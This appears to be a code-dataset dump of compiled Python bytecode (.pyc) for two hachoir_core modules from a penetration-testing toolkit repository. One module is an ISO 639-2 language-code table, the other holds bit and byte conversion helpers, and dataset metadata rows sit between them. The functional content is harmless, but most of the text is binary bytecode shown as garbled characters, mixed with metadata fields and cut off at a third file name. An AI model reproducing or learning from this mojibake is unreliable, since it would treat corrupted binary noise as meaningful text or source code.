d¡d¢d£d¤d¥d¦d§d¨d©dªd«d¬d­d®d¯d°d±d²d³d´dµd¶d·d¸d¹dºd»d¼d½d¾d¿dÀdÁdÂdÃdÄdÅdÆdÇdÈdÉdÊdËdÌdÍdÎdÏdĞdÑdÒdÓdÔdÕdÖd×fZhZx:eD]2Zx)ed¹idºƒD]Zed»ee<q„WqjW[d¼S(Øs« ISO639-2 standart: the module only contains the dictionary ISO639_2 which maps a language code in three letters (eg. "fre") to a language name in english (eg. "French"). u AbkhaziantabktabuAchinesetaceuAcolitachuAdangmetadauAdygeitadyuAdygheuAfartaartaauAfrihilitafhu AfrikaanstafrtafuAfro-Asiatic (Other)tafauAinutainuAkantakatakuAkkadiantakkuAlbaniansalb/sqitsquAlemanitgswuAleuttaleuAlgonquian languagestalguAltaic (Other)ttutuAmharictamhtamuAngikatanpuApache languagestapauArabictarataru AragonesetargtanuAramaictarcuArapahotarpu AraucaniantarnuArawaktarwuArmeniansarm/hyethyu AromaniantrupuArtificial (Other)tartu ArumanianuAssamesetasmtasuAsturiantastuAthapascan languagestathuAustralian languagestausuAustronesian (Other)tmapuAvarictavatavuAvestantavetaeuAwadhitawauAymarataymtayu AzerbaijanitazetazuBableuBalinesetbanuBaltic (Other)tbatuBaluchitbaluBambaratbamtbmuBamileke languagestbaiuBandatbadu Bantu (Other)tbntuBasatbasuBashkirtbaktbauBasquesbaq/eusteuuBatak (Indonesia)tbtkuBejatbeju BelarusiantbeltbeuBembatbemuBengalitbentbnuBerber (Other)tberuBhojpuritbhouBiharitbihtbhuBikoltbikuBilintbynuBinitbinuBislamatbistbiuBlinuBokmÃ¥l, NorwegiantnobtnbuBosniantbostbsuBrajtbrauBretontbretbruBuginesetbugu BulgariantbultbguBuriattbuauBurmesesbur/myatmyuCaddotcaduCaribtcaru CastiliantspatesuCatalantcattcauCaucasian (Other)tcauuCebuanotcebuCeltic (Other)tceluCentral American Indian (Other)tcaiuChagataitchguChamic languagestcmcuChamorrotchatchuChechentchetceuCherokeetchruChewatnyatnyuCheyennetchyuChibchatchbuChichewauChineseschi/zhotzhuChinook jargontchnu ChipewyantchpuChoctawtchouChuangtzhatzau Church SlavictchutcuuChurch SlavonicuChuukesetchkuChuvashtchvtcvuClassical Nepal BhasatnwcuClassical NewariuCoptictcopuCornishtcortkwuCorsicantcostcouCreetcretcruCreektmusuCreoles and pidgins (Other)tcrpu*Creoles and pidgins, English based (Other)tcpeu)Creoles and pidgins, French-based (Other)tcpfu-Creoles and pidgins, Portuguese-based (Other)tcppu Crimean TatartcrhuCrimean TurkishuCroatiansscr/hrvthruCushitic (Other)tcusuCzechscze/cestcsuDakotatdakuDanishtdantdauDargwatdaruDayaktdayuDelawaretdeluDhivehitdivtdvuDimilitzzauDimliuDinkatdinuDivehiuDogritdoiuDogribtdgruDravidian (Other)tdrauDualatduauDutchsdut/nldtnluDutch, Middle (ca.1050-1350)tdumuDyulatdyuuDzongkhatdzotdzuEastern FrisiantfrsuEfiktefiuEgyptian (Ancient)tegyuEkajuktekauElamitetelxuEnglishtengtenuEnglish, Middle (1100-1500)tenmuEnglish, Old (ca.450-1100)tanguErzyatmyvu EsperantotepoteouEstoniantesttetuEweteweteeuEwondotewouFangtfanuFantitfatuFaroesetfaotfouFijiantfijtfjuFilipinotfiluFinnishtfintfiuFinno-Ugrian (Other)tfiuuFlemishuFontfonuFrenchsfre/fratfruFrench, Middle (ca.1400-1600)tfrmuFrench, Old (842-ca.1400)tfrouFriuliantfuruFulahtfultffuGatgaauGaelictglatgduGaliciantglgtgluGandatlugtlguGayotgayuGbayatgbauGeeztgezuGeorgiansgeo/kattkauGermansger/deutdeu German, Lowtndsu"German, Middle High (ca.1050-1500)tgmhuGerman, Old High (ca.750-1050)tgohuGermanic (Other)tgemuGikuyutkiktkiu GilbertesetgiluGonditgonu GorontalotgoruGothictgotuGrebotgrbuGreek, Ancient (to 1453)tgrcuGreek, Modern (1453-)sgre/elltelu GreenlandictkaltkluGuaranitgrntgnuGujaratitgujtguu Gwich´intgwiuHaidathaiuHaitianthatthtuHaitian CreoleuHausathauthauHawaiianthawuHebrewthebtheuHererotherthzu Hiligaynonthilu HimachalithimuHindithinthiu Hiri MotuthmothouHittitethituHmongthmnu HungarianthunthuuHupathupuIbantibau Icelandicsice/isltisuIdotidotiouIgbotibotiguIjotijouIlokotilou Inari Samitsmnu Indic (Other)tincuIndo-European (Other)tineu IndonesiantindtiduIngushtinhu Interlinguatinatiau Interlinguetiletieu InuktituttikutiuuInupiaqtipktikuIranian (Other)tirauIrishtgletgauIrish, Middle (900-1200)tmgauIrish, Old (to 900)tsgauIroquoian languagestirouItaliantitatituJapanesetjpntjauJavanesetjavtjvu Judeo-Arabictjrbu Judeo-Persiantjpru KabardiantkbduKabyletkabuKachintkacu KalaallisutuKalmyktxaluKambatkamuKannadatkantknuKanuritkautkru Kara-KalpaktkaauKarachay-BalkartkrcuKareliantkrluKarentkaruKashmiritkastksu KashubiantcsbuKawitkawuKazakhtkaztkkuKhasitkhauKhmertkhmtkmuKhoisan (Other)tkhiu KhotanesetkhouKikuyuuKimbundutkmbu KinyarwandatkintrwuKirdkiuKirghiztkirtkyu KirmanjkiuKlingonttlhuKomitkomtkvuKongotkontkguKonkanitkokuKoreantkortkouKosraeantkosuKpelletkpeuKrutkrouKuanyamatkuatkjuKumyktkumuKurdishtkurtkuuKurukhtkruuKutenaitkutuKwanyamauLadinotladuLahndatlahuLambatlamuLaotlaotlouLatintlattlauLatviantlavtlvu LetzeburgeschtltztlbuLezghiantlezu Limburgantlimtliu Limburgeru LimburgishuLingalatlintlnu LithuaniantlittltuLojbantjbou Low Germanu Low Saxonu Lower SorbiantdsbuLozitlozu Luba-Katangatlubtluu Luba-LuluatluauLuisenotluiu Lule SamitsmjuLundatlunuLuo (Kenya and Tanzania)tluouLushaitlusu LuxembourgishuMacedo-Romanianu Macedoniansmac/mkdtmkuMaduresetmaduMagahitmaguMaithilitmaiuMakasartmakuMalagasytmlgtmguMalaysmay/msatmsu Malayalamtmaltmlu MaldivianuMaltesetmlttmtuManchutmncuMandartmdruMandingotmanuManipuritmniuManobo languagestmnouManxtglvtgvuMaorismao/mritmiuMarathitmartmruMaritchmu MarshallesetmahtmhuMarwaritmwruMasaitmasuMayan languagestmynuMendetmenuMi'kmaqtmicuMicmacu Minangkabautminu MirandesetmwluMiscellaneous languagestmisuMohawktmohuMokshatmdfu MoldaviantmoltmouMon-Khmer (Other)tmkhuMongotlolu MongoliantmontmnuMossitmosuMultiple languagestmuluMunda languagestmunuN'KotnqouNahuatltnahuNaurutnautnauNavahotnavtnvuNavajouNdebele, NorthtndetnduNdebele, SouthtnbltnruNdongatndotngu Neapolitantnapu Nepal BhasatnewuNepalitneptneuNewariuNiastniauNiger-Kordofanian (Other)tnicuNilo-Saharan (Other)tssauNiueantniuuNo linguistic contenttzxxuNogaitnogu Norse, OldtnonuNorth American Indiantnaiu North NdebeleuNorthern Frisiantfrru Northern SamitsmetseuNorthern Sothotnsou NorwegiantnortnouNorwegian BokmÃ¥luNorwegian NynorsktnnotnnuNubian languagestnubuNyamwezitnymuNyanjauNyankoletnynuNynorsk, NorwegianuNyorotnyouNzimatnziuOccitan (post 1500)tocitocuOiratuOjibwatojitoju Old BulgarianuOld Church Slavonicu Old Newariu Old SlavonicuOriyatoritoruOromotormtomuOsagetosauOssetiantosstosuOsseticuOtomian languagestotouPahlavitpaluPalauantpauuPalitplitpiuPampangatpamu PangasinantpaguPanjabitpantpau PapiamentotpapuPapuan (Other)tpaauPediuPersiansper/fastfauPersian, Old (ca.600-400 B.C.)tpeouPhilippine (Other)tphiu PhoeniciantphnuPilipinou PohnpeiantponuPolishtpoltplu PortuguesetportptuPrakrit languagestprau ProvençaluProvençal, Old (to 1500)tprouPunjabiuPushtotpustpsuQuechuatquetquu Raeto-Romancetrohtrmu RajasthanitrajuRapanuitrapu RarotongantraruReserved for local usesqaa/qtzuRomance (Other)troauRomaniansrum/rontrouRomanytromuRunditruntrnuRussiantrustruuSalishan languagestsaluSamaritan AramaictsamuSami languages (Other)tsmiuSamoantsmotsmuSandawetsaduSangotsagtsguSanskrittsantsauSantalitsatu SardiniantsrdtscuSasaktsasu Saxon, LowuScotstscouScottish GaelicuSelkuptseluSemitic (Other)tsemuSepediuSerbiansscc/srptsruSerertsrruShantshnuShonatsnatsnu Sichuan YitiiitiiuSiciliantscnuSidamotsiduSign LanguagestsgnuSiksikatblauSindhitsndtsduSinhalatsintsiu SinhaleseuSino-Tibetan (Other)tsituSiouan languagestsiou Skolt SamitsmsuSlave (Athapascan)tdenuSlavic (Other)tslauSlovaksslo/slktsku SloveniantslvtsluSogdiantsoguSomalitsomtsouSonghaitsonuSoninketsnkuSorbian languagestwenuSotho, NorthernuSotho, SoutherntsottstuSouth American Indian (Other)tsaiu South NdebeleuSouthern Altaitaltu Southern SamitsmauSpanishu Sranan TogotsrnuSukumatsukuSumeriantsuxu SundanesetsuntsuuSusutsusuSwahilitswatswuSwatitsswtssuSwedishtswetsvu Swiss GermanuSyriactsyruTagalogttglttluTahitianttahttyu Tai (Other)ttaiuTajikttgkttguTamashekttmhuTamilttamttauTatarttattttuTelugutteltteuTerenotteruTetumttetuThaitthatthuTibetanstib/bodtbouTigrettiguTigrinyattirttiuTimnettemuTivttivu tlhIngan-HoluTlingitttliu Tok PisinttpiuTokelauttklu Tonga (Nyasa)ttoguTonga (Tonga Islands)ttonttou TsimshianttsiuTsongattsottsuTswanattsnttnuTumbukattumuTupi languagesttupuTurkishtturttruTurkish, Ottoman (1500-1928)totauTurkmenttukttkuTuvaluttvluTuvinianttyvuTwittwittwuUdmurttudmuUgaritictugauUighurtuigtugu UkrainiantukrtukuUmbundutumbu Undeterminedtundu Upper SorbianthsbuUrduturdturuUyghuruUzbektuzbtuzuVaitvaiu ValencianuVendatventveu VietnamesetvietviuVolapüktvoltvouVotictvotuWakashan languagestwakuWalamotwaluWalloontwlntwauWaraytwaruWashotwasuWelshswel/cymtcyuWestern FrisiantfrytfyuWoloftwoltwouXhosatxhotxhuYakuttsahuYaotyaouYapesetyapuYiddishtyidtyiuYorubatyortyouYupik languagestypkuZandetznduZapotectzapuZazauZazakiuZenagatzenuZhuanguZulutzultzuuZunitzunit/iN(u AbkhazianRR(uAchinesesaceN(uAcoliRN(uAdangmeRN(uAdygeiRN(uAdygheRN(uAfarRR(uAfrihiliRN(u AfrikaansR saf(uAfro-Asiatic (Other)R N(uAinuR N(uAkanR R(uAkkadianRN(uAlbaniansalb/sqissq(uAlemaniRN(uAleutRN(uAlgonquian languagesRN(uAltaic (Other)RN(uAmharicRsam(uAngikaRN(uApache languagesRN(uArabicRsar(u AragonesesargR(uAramaicRN(uArapahoRN(u AraucanianRN(uArawakR N(uArmeniansarm/hyeR!(u AromanianR"N(uArtificial (Other)R#N(u ArumanianR"N(uAssameseR$sas(uAsturianR&N(uAthapascan languagesR'N(uAustralian languagesR(N(uAustronesian (Other)smapN(uAvaricR*sav(uAvestanR,R-(uAwadhiR.N(uAymaraR/R0(u AzerbaijaniR1saz(uBableR&N(uBalineseR3N(uBaltic (Other)R4N(uBaluchiR5N(uBambaraR6R7(uBamileke languagesR8N(uBandaR9N(u Bantu (Other)R:N(uBasaR;N(uBashkirR<R=(uBasquesbaq/eusseu(uBatak (Indonesia)R?N(uBejaR@N(u BelarusianRAsbe(uBembaRCN(uBengaliRDRE(uBerber (Other)RFN(uBhojpuriRGN(uBihariRHRI(uBikolRJN(uBilinRKN(uBinisbinN(uBislamaRMRN(uBlinRKN(uBokmÃ¥l, NorwegianROsnb(uBosnianRQsbs(uBrajRSN(uBretonRTsbr(uBugineseRVN(u BulgarianRWsbg(uBuriatRYN(uBurmesesbur/myaRZ(uCaddoR[N(uCaribR\N(u CastilianR]ses(uCatalanscatsca(uCaucasian (Other)RaN(uCebuanoRbN(uCeltic (Other)RcN(uCentral American Indian (Other)RdN(uChagataiReN(uChamic languagesRfN(uChamorroRgsch(uChechenRiRj(uCherokeeschrN(uChewaRlsny(uCheyenneRnN(uChibchaRoN(uChichewaRlsny(uChineseschi/zhoszh(uChinook jargonRqN(u ChipewyanRrN(uChoctawRsN(uChuangRtRu(u Church SlavicRvRw(uChurch SlavonicRvRw(uChuukeseRxN(uChuvashRyRz(uClassical Nepal BhasaR{N(uClassical NewariR{N(uCopticR|N(uCornishR}skw(uCorsicanscossco(uCreeR�R‚(uCreekRƒN(uCreoles and pidgins (Other)R„N(u*Creoles and pidgins, English based (Other)R…N(u)Creoles and pidgins, French-based (Other)R†N(u-Creoles and pidgins, Portuguese-based (Other)R‡N(u Crimean TatarRˆN(uCrimean TurkishRˆN(uCroatiansscr/hrvshr(uCushitic (Other)RŠN(uCzechscze/cesscs(uDakotaRŒN(uDanishR�sda(uDargwaR�N(uDayaksdayN(uDelawaresdelN(uDhivehisdivR“(uDimiliR”N(uDimliR”N(uDinkaR•N(uDivehisdivR“(uDogriR–N(uDogribR—N(uDravidian (Other)R˜N(uDualaR™N(uDutchsdut/nldsnl(uDutch, Middle (ca.1050-1350)R›N(uDyulaRœN(uDzongkhaR�R�(uEastern FrisianRŸN(uEfikR N(uEgyptian (Ancient)R¡N(uEkajukR¢N(uElamiteR£N(uEnglishR¤sen(uEnglish, Middle (1100-1500)R¦N(uEnglish, Old (ca.450-1100)R§N(uErzyaR¨N(u EsperantoR©seo(uEstonianR«set(uEweR­see(uEwondoR¯N(uFangR°N(uFantiR±N(uFaroeseR²sfo(uFijianR´Rµ(uFilipinoR¶N(uFinnishR·sfi(uFinno-Ugrian (Other)R¹N(uFlemishsdut/nldsnl(uFonRºN(uFrenchsfre/frasfr(uFrench, Middle (ca.1400-1600)R¼N(uFrench, Old (842-ca.1400)R½N(uFriulianR¾N(uFulahR¿RÀ(uGaRÁN(uGaelicRÂsgd(uGalicianRÄsgl(uGandaRÆRÇ(uGayoRÈN(uGbayaRÉN(uGeezRÊN(uGeorgiansgeo/katska(uGermansger/deusde(u German, LowRÍN(u"German, Middle High (ca.1050-1500)RÎN(uGerman, Old High (ca.750-1050)RÏN(uGermanic (Other)RĞN(uGikuyuRÑRÒ(u GilberteseRÓN(uGondiRÔN(u GorontaloRÕN(uGothicsgotN(uGreboR×N(uGreek, Ancient (to 1453)RØN(uGreek, Modern (1453-)sgre/ellsel(u GreenlandicRÚskl(uGuaraniRÜRİ(uGujaratiRŞRß(u Gwich´inRàN(uHaidaRáN(uHaitianRâRã(uHaitian CreoleRâRã(uHausaRäRå(uHawaiianRæN(uHebrewRçshe(uHereroRéshz(u HiligaynonRëN(u HimachaliRìN(uHindiRíshi(u Hiri MotuRïRğ(uHittiteshitN(uHmongRòN(u HungarianRóshu(uHupaRõN(uIbanRöN(u Icelandicsice/islsis(uIdoRøRù(uIgboRúRû(uIjoRüN(uIlokoRıN(u Inari SamiRşN(u Indic (Other)RÿN(uIndo-European (Other)RN(u IndonesianRsid(uIngushRN(u InterlinguaRR(u InterlingueRR(u InuktitutRsiu(uInupiaqR R (uIranian (Other)R N(uIrishR sga(uIrish, Middle (900-1200)RN(uIrish, Old (to 900)RN(uIroquoian languagesRN(uItalianRsit(uJapaneseRsja(uJavaneseRR(u Judeo-ArabicRN(u Judeo-PersianRN(u KabardianRN(uKabyleRN(uKachinRN(u KalaallisutRÚskl(uKalmykRN(uKambaRN(uKannadaRR (uKanuriR!R"(u Kara-KalpakR#N(uKarachay-BalkarR$N(uKarelianR%N(uKarenR&N(uKashmiriR'R((u KashubianR)N(uKawiR*N(uKazakhR+R,(uKhasiR-N(uKhmerR.R/(uKhoisan (Other)R0N(u KhotaneseR1N(uKikuyuRÑRÒ(uKimbunduR2N(u KinyarwandaR3srw(uKirdkiR”N(uKirghizR5sky(u KirmanjkiR”N(uKlingonR7N(uKomiR8R9(uKongoR:R;(uKonkaniR<N(uKoreanR=sko(uKosraeanR?N(uKpelleR@N(uKruRAN(uKuanyamaRBRC(uKumykRDN(uKurdishRERF(uKurukhRGN(uKutenaiRHN(uKwanyamaRBRC(uLadinoRIN(uLahndaRJN(uLambaRKN(uLaoRLslo(uLatinRNRO(uLatvianRPslv(u LetzeburgeschRRRS(uLezghianRTN(u Limburganslimsli(u Limburgerslimsli(u Limburgishslimsli(uLingalaRWRX(u LithuanianRYslt(uLojbanR[N(u Low GermanRÍN(u Low SaxonRÍN(u Lower SorbianR\N(uLoziR]N(u Luba-KatangaR^R_(u Luba-LuluaR`N(uLuisenoRaN(u Lule SamiRbN(uLundaRcN(uLuo (Kenya and Tanzania)RdN(uLushaiReN(u LuxembourgishRRRS(uMacedo-RomanianR"N(u Macedoniansmac/mkdsmk(uMadureseRgN(uMagahiRhN(uMaithiliRiN(uMakasarRjN(uMalagasyRkRl(uMalaysmay/msasms(u MalayalamRnRo(u MaldiviansdivR“(uMalteseRpsmt(uManchuRrN(uMandarRsN(uMandingoRtN(uManipuriRuN(uManobo languagesRvN(uManxRwsgv(uMaorismao/mrismi(uMarathismarR{(uMariR|N(u MarshalleseR}R~(uMarwariRN(uMasaiR€N(uMayan languagesR�N(uMendeR‚N(uMi'kmaqRƒN(uMicmacRƒN(u MinangkabausminN(u MirandeseR…N(uMiscellaneous languagesR†N(uMohawkR‡N(uMokshaRˆN(u MoldavianR‰smo(uMon-Khmer (Other)R‹N(uMongoRŒN(u MongoliansmonR�(uMossiR�N(uMultiple languagessmulN(uMunda languagesR‘N(uN'KoR’N(uNahuatlR“N(uNauruR”R•(uNavahoR–snv(uNavajoR–snv(uNdebele, NorthR˜R™(uNdebele, SouthRšsnr(uNdongaRœR�(u NeapolitanR�N(u Nepal BhasasnewN(uNepaliR sne(uNewarisnewN(uNiasR¢N(uNiger-Kordofanian (Other)R£N(uNilo-Saharan (Other)R¤N(uNiueanR¥N(uNo linguistic contentR¦N(uNogaiR§N(u Norse, OldR¨N(uNorth American IndianR©N(u North NdebeleR˜R™(uNorthern FrisianRªN(u Northern SamiR«R¬(uNorthern SothosnsoN(u NorwegianR®sno(uNorwegian BokmÃ¥lROsnb(uNorwegian NynorskR°snn(uNubian languagesR²N(uNyamweziR³N(uNyanjaRlsny(uNyankoleR´N(uNynorsk, NorwegianR°snn(uNyoroRµN(uNzimaR¶N(uOccitan (post 1500)R·soc(uOiratRN(uOjibwaR¹Rº(u Old BulgarianRvRw(uOld Church SlavonicRvRw(u Old NewariR{N(u Old SlavonicRvRw(uOriyaR»sor(uOromoR½R¾(uOsageR¿N(uOssetianRÀsos(uOsseticRÀsos(uOtomian languagesRÂN(uPahlaviRÃN(uPalauanRÄN(uPaliRÅspi(uPampangaRÇN(u PangasinanRÈN(uPanjabispanRÊ(u PapiamentoRËN(uPapuan (Other)RÌN(uPedisnsoN(uPersiansper/fassfa(uPersian, Old (ca.600-400 B.C.)RÎN(uPhilippine (Other)RÏN(u PhoenicianRĞN(uPilipinoR¶N(u PohnpeianRÑN(uPolishRÒspl(u PortugueseRÔspt(uPrakrit languagesRÖN(u ProvençalR·soc(uProvençal, Old (to 1500)R×N(uPunjabispanRÊ(uPushtoRØsps(uQuechuaRÚRÛ(u Raeto-RomanceRÜRİ(u RajasthaniRŞN(uRapanuiRßN(u RarotongansrarN(uReserved for local usesqaa/qtzN(uRomance (Other)RáN(uRomaniansrum/ronsro(uRomanyRãN(uRundiRäRå(uRussianRæsru(uSalishan languagesRèN(uSamaritan AramaicRéN(uSami languages (Other)RêN(uSamoanRëRì(uSandaweRíN(uSangoRîRï(uSanskritRğssa(uSantalissatN(u SardinianRóRô(uSasakRõN(u Saxon, LowRÍN(uScotsRöN(uScottish GaelicRÂsgd(uSelkupR÷N(uSemitic (Other)RøN(uSepedisnsoN(uSerbiansscc/srpssr(uSererRúN(uShanRûN(uShonaRüRı(u Sichuan YiRşsii(uSicilianRN(uSidamoRN(uSign LanguagesRN(uSiksikaRN(uSindhissndR(uSinhalassinssi(u Sinhalesessinssi(uSino-Tibetan (Other)RN(uSiouan languagesR N(u Skolt SamiR N(uSlave (Athapascan)R N(uSlavic (Other)R N(uSlovaksslo/slkssk(u SlovenianRssl(uSogdianRN(uSomaliRR(uSonghaiRN(uSoninkeRN(uSorbian languagesRN(uSotho, NorthernsnsoN(uSotho, SouthernRsst(uSouth American Indian (Other)RN(u South NdebeleRšsnr(uSouthern AltaiRN(u Southern SamiRN(uSpanishR]ses(u Sranan TogoRN(uSukumaRN(uSumerianRN(u SundanesessunR(uSusuR N(uSwahiliR!R"(uSwatiR#sss(uSwedishR%ssv(u Swiss GermanRN(uSyriacR'N(uTagalogR(stl(uTahitianR*R+(u Tai (Other)R,N(uTajikR-stg(uTamashekR/N(uTamilR0sta(uTatarR2stt(uTeluguR4ste(uTerenoR6N(uTetumR7N(uThaiR8sth(uTibetanstib/bodR:(uTigreR;N(uTigrinyaR<R=(uTimneR>N(uTivR?N(u tlhIngan-HolR7N(uTlingitR@N(u Tok PisinRAN(uTokelauRBN(u Tonga (Nyasa)RCN(uTonga (Tonga Islands)RDRE(u TsimshianRFN(uTsongaRGsts(uTswanaRIstn(uTumbukaRKN(uTupi languagesstupN(uTurkishRMstr(uTurkish, Ottoman (1500-1928)RON(uTurkmenRPRQ(uTuvaluRRN(uTuvinianRSN(uTwiRTRU(uUdmurtRVN(uUgariticRWN(uUighurRXRY(u UkrainianRZsuk(uUmbunduR\N(u UndeterminedR]N(u Upper SorbianR^N(uUrduR_sur(uUyghurRXRY(uUzbekRasuz(uVaiRcN(u Valencianscatsca(uVendaRdsve(u VietnameseRfsvi(uVolapüksvolRi(uVoticRjN(uWakashan languagesRkN(uWalamoRlN(uWalloonRmswa(uWarayRoN(uWashoRpN(uWelshswel/cymscy(uWestern FrisianRrRs(uWolofRtRu(uXhosaRvsxh(uYakutRxN(uYaoRyN(uYapeseRzN(uYiddishR{syi(uYorubaR}R~(uYupik languagesRN(uZandeR€N(uZapotecR�N(uZazaR”N(uZazakiR”N(uZenagaR‚N(uZhuangRtRu(uZuluRƒszu(uZuniR…N(t__doc__tNonet_ISO639tISO639_2tlinetsplittkey(((s=/pentest/enumeration/google/metagoofil/hachoir_core/iso639.pyt<module>sD 
31,224
Python
.py
60
519.4
3,488
0.51314
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,477
bits.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/bits.pyc
Ñò Î ÈMc@sãdZddklZlZddklZddklZlZddk l Z l Z l Z d„Zd„Zd„Zd d d d „Zd „Zed„Zdd„Zed„Zed„Zd„ZeƒZd„ZdS(so Utilities to convert integers and binary strings to binary (number), binary string, number, hexadecimal, etc. iÿÿÿÿ(t BIG_ENDIANt LITTLE_ENDIAN(treversed(tchaintrepeat(tcalcsizetunpackterrorcCs|d@d>|d?BS(sq Swap byte between big and little endian of a 16 bits integer. >>> "%x" % swap16(0x1234) '3412' iÿi((tvalue((s;/pentest/enumeration/google/metagoofil/hachoir_core/bits.pytswap16 scCs<t|ƒ}|d@d>|d@d>B|d@d?B|d@d?BS(sy Swap byte between big and little endian of a 32 bits integer. >>> "%x" % swap32(0x12345678) '78563412' lÿililþl~(tlong(R((s;/pentest/enumeration/google/metagoofil/hachoir_core/bits.pytswap32s cCsÈ|ttfjpt‚g}|D].}|djo|t|ƒtdƒq%q%~}|tj ot|ƒ}nt|ƒ}d|jpt‚d}x"|D]}|d9}||7}q¦W|S(sü Convert binary number written in a string into an integer. Skip characters differents than "0" and "1". >>> bin2long("110", BIG_ENDIAN) 6 >>> bin2long("110", LITTLE_ENDIAN) 3 >>> bin2long("11 00", LITTLE_ENDIAN) 3 t01t0ii(RRtAssertionErrortordRtlen(ttexttendiant_[1]t charactertbitstsizeRtbit((s;/pentest/enumeration/google/metagoofil/hachoir_core/bits.pytbin2long!s ;   tus%02XcCs{t|tƒot|ƒ}ndt|ƒjo |g}ng}x%|D]}|i|t|ƒƒqMW|i|ƒS(s Convert binary string in hexadecimal (base 16). >>> str2hex("ABC") u'414243' >>> str2hex("\xF0\xAF", glue=" ") u'F0 AF' >>> str2hex("ABC", prefix="0x") u'0x414243' >>> str2hex("ABC", format=r"\x%02X") u'\\x41\\x42\\x43' i(t isinstancetstrtunicodeRtappendRtjoin(RtprefixtgluetformatRR((s;/pentest/enumeration/google/metagoofil/hachoir_core/bits.pytstr2hex:s  cCsÂd|jpt‚d}d}x4d|>|jo"||7}||L}|dK}q#Wxdd|joV|djo|dL}n |d8}x*d|>|jo||7}||L}q�WqZW|S(sÕ Count number of bits needed to store a (positive) integer number. >>> countBits(0) 1 >>> countBits(1000) 10 >>> countBits(44100) 16 >>> countBits(18446744073709551615) 64 iii(R(RtcountR((s;/pentest/enumeration/google/metagoofil/hachoir_core/bits.pyt countBitsQs$       cCspd}xctddƒD]R}|odd|>}n d|>}||@|jo|d7}q|d7}qW|S(sÑ Convert a byte (integer in 0..255 range) to a binary string. If classic_mode is true (default value), reverse bits. >>> byte2bin(10) '00001010' >>> byte2bin(10, False) '01010000' Riiiit1R (trange(tnumbert classic_modeRtitmask((s;/pentest/enumeration/google/metagoofil/hachoir_core/bits.pytbyte2binos  cCs8| o d|jpd|jpt‚|ttfjpt‚g}xF|djp |djo+|d}|it|ƒƒ|dL}qLW|ot|t|ƒdƒ}nd}|oK|tjo"ttd|ƒt |ƒƒ}q+t|td|ƒƒ}n|tjot |ƒ}ndi |ƒS(sK Convert a number (positive and not nul) to a raw string. If size is given, add nul bytes to fill to size bytes. >>> long2raw(0x1219, BIG_ENDIAN) '\x12\x19' >>> long2raw(0x1219, BIG_ENDIAN, 4) # 32 bits '\x00\x00\x12\x19' >>> long2raw(0x1219, LITTLE_ENDIAN, 4) # 32 bits '\x19\x12\x00\x00' iRiit( RRRRtchrtmaxRRRRR(RRRRtbytetneed((s;/pentest/enumeration/google/metagoofil/hachoir_core/bits.pytlong2raw…s$ )  " cCs"d}|ttfjpt‚d|jpt‚xGt|ƒD]9}|d@djo|d7}n |d7}|dL}qAW|tjo|ddd…}nd}xst|ƒdjo_t|ƒdjo|d7}n|o||d dd…7}n||d 7}|d }q«W|S( se Convert a number into bits (in a string): - size: size in bits of the number - value: positive (or nul) number - endian: BIG_ENDIAN (most important bit first) or LITTLE_ENDIAN (least important bit first) - classic_mode (default: False): reverse each packet of 8 bits >>> long2bin(16, 1+4 + (1+8)*256, BIG_ENDIAN) '10100000 10010000' >>> long2bin(16, 1+4 + (1+8)*256, BIG_ENDIAN, True) '00000101 00001001' >>> long2bin(16, 1+4 + (1+8)*256, LITTLE_ENDIAN) '00001001 00000101' >>> long2bin(16, 1+4 + (1+8)*256, LITTLE_ENDIAN, True) '10010000 10100000' RiiR%R Niÿÿÿÿt ii(RRRtxrangeR(RRRR(Rtindextresult((s;/pentest/enumeration/google/metagoofil/hachoir_core/bits.pytlong2bin¦s*   cCsUd}xH|D]@}|djo|d7}nt|ƒ}|t||ƒ7}q W|S(sÞ Convert binary string to binary numbers. If classic_mode is true (default value), reverse bits. >>> str2bin("\x03\xFF") '00000011 11111111' >>> str2bin("\x03\xFF", False) '11000000 11111111' RR2(RR+(RR(RRR/((s;/pentest/enumeration/google/metagoofil/hachoir_core/bits.pytstr2binÎs   cCsshht6ht6}xXdD]P}y4t|ƒ}d||t|<d||t|<Wqtj oqXqW|S(sƒ Create a dictionnary (endian, size_byte) => struct format used by str2long() to convert raw data to positive integer. tBHILQs>%ss<%s(RRRt struct_error(R!t struct_formatR((s;/pentest/enumeration/google/metagoofil/hachoir_core/bits.pyt_createStructFormatàs   cCsàdt|ƒjo djnpt‚y#tt|t|ƒ|ƒdSWntj onX|ttfjpt‚d}d}|tjot|ƒ}nx2|D]*}t|ƒ}|||>7}|d7}q®W|S(s; Convert a raw data (type 'str') into a long integer. >>> chr(str2long('*', BIG_ENDIAN)) '*' >>> str2long("\x00\x01\x02\x03", BIG_ENDIAN) == 0x10203 True >>> str2long("\x2a\x10", LITTLE_ENDIAN) == 0x102a True >>> str2long("\xff\x14\x2a\x10", BIG_ENDIAN) == 0xff142a10 True >>> str2long("\x00\x01\x02\x03", LITTLE_ENDIAN) == 0x3020100 True >>> str2long("\xff\x14\x2a\x10\xab\x00\xd9\x0e", BIG_ENDIAN) == 0xff142a10ab00d90e True >>> str2long("\xff\xff\xff\xff\xff\xff\xff\xff", BIG_ENDIAN) == (2**64-1) True ii ii( RRRt_struct_formattKeyErrorRRRR(tdataRtshiftRRR/((s;/pentest/enumeration/google/metagoofil/hachoir_core/bits.pytstr2longós +#  N(t__doc__thachoir_core.endianRRthachoir_core.compatibilityRt itertoolsRRtstructRRRR9R R RR"R$tTrueR+tNoneR1tFalseR6R7R;R<R@(((s;/pentest/enumeration/google/metagoofil/hachoir_core/bits.pyt<module>s     ! (   
8,423
Python
.py
121
65.404959
632
0.45255
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,478
cmd_line.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/cmd_line.pyc
